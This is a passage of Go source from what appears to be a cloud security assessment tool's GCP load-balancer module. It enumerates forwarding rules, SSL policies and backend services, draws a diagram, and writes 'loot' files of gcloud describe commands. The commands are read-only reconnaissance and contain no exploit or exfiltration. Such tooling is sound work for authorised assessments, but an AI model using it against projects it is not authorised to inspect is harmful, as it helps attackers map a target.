backends, err := svc.ListBackendServices(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_LOADBALANCERS_MODULE_NAME,
fmt.Sprintf("Could not list backend services in project %s", projectID))
} else {
m.mu.Lock()
m.ProjectBackendServices[projectID] = backends
m.mu.Unlock()
}
}
func (m *LoadBalancersModule) addToLoot(projectID string, lb loadbalancerservice.LoadBalancerInfo) {
lootFile := m.LootMap[projectID]["loadbalancers-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# LOAD BALANCER: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Type: %s, Scheme: %s, IP: %s, Port: %s\n\n",
lb.Name, lb.ProjectID, lb.Type, lb.Scheme, lb.IPAddress, lb.Port)
lootFile.Contents += "# === ENUMERATION COMMANDS ===\n\n"
// Describe forwarding rule
if lb.Region == "global" {
lootFile.Contents += fmt.Sprintf(
"# Describe global forwarding rule:\n"+
"gcloud compute forwarding-rules describe %s --global --project=%s\n\n",
lb.Name, lb.ProjectID)
} else {
lootFile.Contents += fmt.Sprintf(
"# Describe regional forwarding rule:\n"+
"gcloud compute forwarding-rules describe %s --region=%s --project=%s\n\n",
lb.Name, lb.Region, lb.ProjectID)
}
// Backend service commands
for _, backend := range lb.BackendServices {
lootFile.Contents += fmt.Sprintf(
"# Describe backend service:\n"+
"gcloud compute backend-services describe %s --global --project=%s\n\n",
backend, lb.ProjectID)
}
}
func (m *LoadBalancersModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Generate ASCII diagram and add to loot
diagram := m.generateLoadBalancerDiagram()
if diagram != "" {
// Add diagram to the first project's loot
for projectID := range m.LootMap {
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
}
m.LootMap[projectID]["loadbalancers-diagram"] = &internal.LootFile{
Name: "loadbalancers-diagram",
Contents: diagram,
}
break // Only add once for flat output
}
// For hierarchical output, add to all projects
if m.Hierarchy != nil && !m.FlatOutput {
for projectID := range m.LootMap {
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
}
m.LootMap[projectID]["loadbalancers-diagram"] = &internal.LootFile{
Name: "loadbalancers-diagram",
Contents: diagram,
}
}
}
}
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// ------------------------------
// Diagram Generation
// ------------------------------
// generateLoadBalancerDiagram creates an ASCII visualization of load balancer architecture
func (m *LoadBalancersModule) generateLoadBalancerDiagram() string {
allLBs := m.getAllLoadBalancers()
if len(allLBs) == 0 {
return ""
}
// Build a map of backend service name -> actual backends (instance groups, NEGs)
backendDetailsMap := make(map[string][]string)
for _, backends := range m.ProjectBackendServices {
for _, be := range backends {
if len(be.Backends) > 0 {
backendDetailsMap[be.Name] = be.Backends
}
}
}
// Convert to diagram service types
diagramLBs := make([]diagramservice.LoadBalancerInfo, 0, len(allLBs))
for _, lb := range allLBs {
// Build backend details for this LB
lbBackendDetails := make(map[string][]string)
for _, beSvc := range lb.BackendServices {
if targets, ok := backendDetailsMap[beSvc]; ok {
lbBackendDetails[beSvc] = targets
}
}
diagramLBs = append(diagramLBs, diagramservice.LoadBalancerInfo{
Name: lb.Name,
Type: lb.Type,
Scheme: lb.Scheme,
IPAddress: lb.IPAddress,
Port: lb.Port,
Region: lb.Region,
BackendServices: lb.BackendServices,
SecurityPolicy: lb.SecurityPolicy,
BackendDetails: lbBackendDetails,
})
}
// Determine project ID for header (use first project if multiple)
projectID := ""
if len(m.ProjectIDs) == 1 {
projectID = m.ProjectIDs[0]
}
return diagramservice.DrawLoadBalancerDiagram(diagramLBs, projectID, 90)
}
func (m *LoadBalancersModule) getLBHeader() []string {
return []string{"Project", "Name", "Type", "Scheme", "Region", "IP Address", "Port", "Backend Services", "Security Policy"}
}
func (m *LoadBalancersModule) getSSLHeader() []string {
return []string{"Project", "Name", "Min TLS Version", "Profile", "Custom Features"}
}
func (m *LoadBalancersModule) getBackendHeader() []string {
return []string{"Project", "Name", "Protocol", "Port", "Security Policy", "CDN Enabled", "Health Check", "Session Affinity", "Backends"}
}
func (m *LoadBalancersModule) lbsToTableBody(lbs []loadbalancerservice.LoadBalancerInfo) [][]string {
var body [][]string
for _, lb := range lbs {
backends := "-"
if len(lb.BackendServices) > 0 {
backends = strings.Join(lb.BackendServices, ", ")
}
secPolicy := "-"
if lb.SecurityPolicy != "" {
secPolicy = lb.SecurityPolicy
}
body = append(body, []string{
m.GetProjectName(lb.ProjectID),
lb.Name,
lb.Type,
lb.Scheme,
lb.Region,
lb.IPAddress,
lb.Port,
backends,
secPolicy,
})
}
return body
}
func (m *LoadBalancersModule) sslPoliciesToTableBody(policies []loadbalancerservice.SSLPolicyInfo) [][]string {
var body [][]string
for _, policy := range policies {
customFeatures := "-"
if len(policy.CustomFeatures) > 0 {
customFeatures = strings.Join(policy.CustomFeatures, ", ")
}
body = append(body, []string{
m.GetProjectName(policy.ProjectID),
policy.Name,
policy.MinTLSVersion,
policy.Profile,
customFeatures,
})
}
return body
}
func (m *LoadBalancersModule) backendServicesToTableBody(services []loadbalancerservice.BackendServiceInfo) [][]string {
var body [][]string
for _, be := range services {
secPolicy := "-"
if be.SecurityPolicy != "" {
secPolicy = be.SecurityPolicy
}
healthCheck := "-"
if be.HealthCheck != "" {
healthCheck = be.HealthCheck
}
sessionAffinity := "-"
if be.SessionAffinity != "" {
sessionAffinity = be.SessionAffinity
}
backends := "-"
if len(be.Backends) > 0 {
backends = strings.Join(be.Backends, ", ")
}
body = append(body, []string{
m.GetProjectName(be.ProjectID),
be.Name,
be.Protocol,
fmt.Sprintf("%d", be.Port),
secPolicy,
shared.BoolToYesNo(be.EnableCDN),
healthCheck,
sessionAffinity,
backends,
})
}
return body
}
func (m *LoadBalancersModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if lbs, ok := m.ProjectLoadBalancers[projectID]; ok && len(lbs) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "load-balancers-frontends",
Header: m.getLBHeader(),
Body: m.lbsToTableBody(lbs),
})
}
if policies, ok := m.ProjectSSLPolicies[projectID]; ok && len(policies) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "ssl-policies",
Header: m.getSSLHeader(),
Body: m.sslPoliciesToTableBody(policies),
})
}
if services, ok := m.ProjectBackendServices[projectID]; ok && len(services) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "load-balancers-backend-services",
Header: m.getBackendHeader(),
Body: m.backendServicesToTableBody(services),
})
}
return tableFiles
}
func (m *LoadBalancersModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Get all project IDs that have data
projectIDs := make(map[string]bool)
for projectID := range m.ProjectLoadBalancers {
projectIDs[projectID] = true
}
for projectID := range m.ProjectSSLPolicies {
projectIDs[projectID] = true
}
for projectID := range m.ProjectBackendServices {
projectIDs[projectID] = true
}
for projectID := range projectIDs {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = LoadBalancersOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_LOADBALANCERS_MODULE_NAME)
}
}
func (m *LoadBalancersModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allLBs := m.getAllLoadBalancers()
allSSL := m.getAllSSLPolicies()
allBackends := m.getAllBackendServices()
var tables []internal.TableFile
if len(allLBs) > 0 {
tables = append(tables, internal.TableFile{
Name: "load-balancers-frontends",
Header: m.getLBHeader(),
Body: m.lbsToTableBody(allLBs),
})
}
if len(allSSL) > 0 {
tables = append(tables, internal.TableFile{
Name: "ssl-policies",
Header: m.getSSLHeader(),
Body: m.sslPoliciesToTableBody(allSSL),
})
}
if len(allBackends) > 0 {
tables = append(tables, internal.TableFile{
Name: "load-balancers-backend-services",
Header: m.getBackendHeader(),
Body: m.backendServicesToTableBody(allBackends),
})
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := LoadBalancersOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_LOADBALANCERS_MODULE_NAME)
}
}
Loaded 100 of 212 files, more files were not shown because too many files have changed in this diff. Show more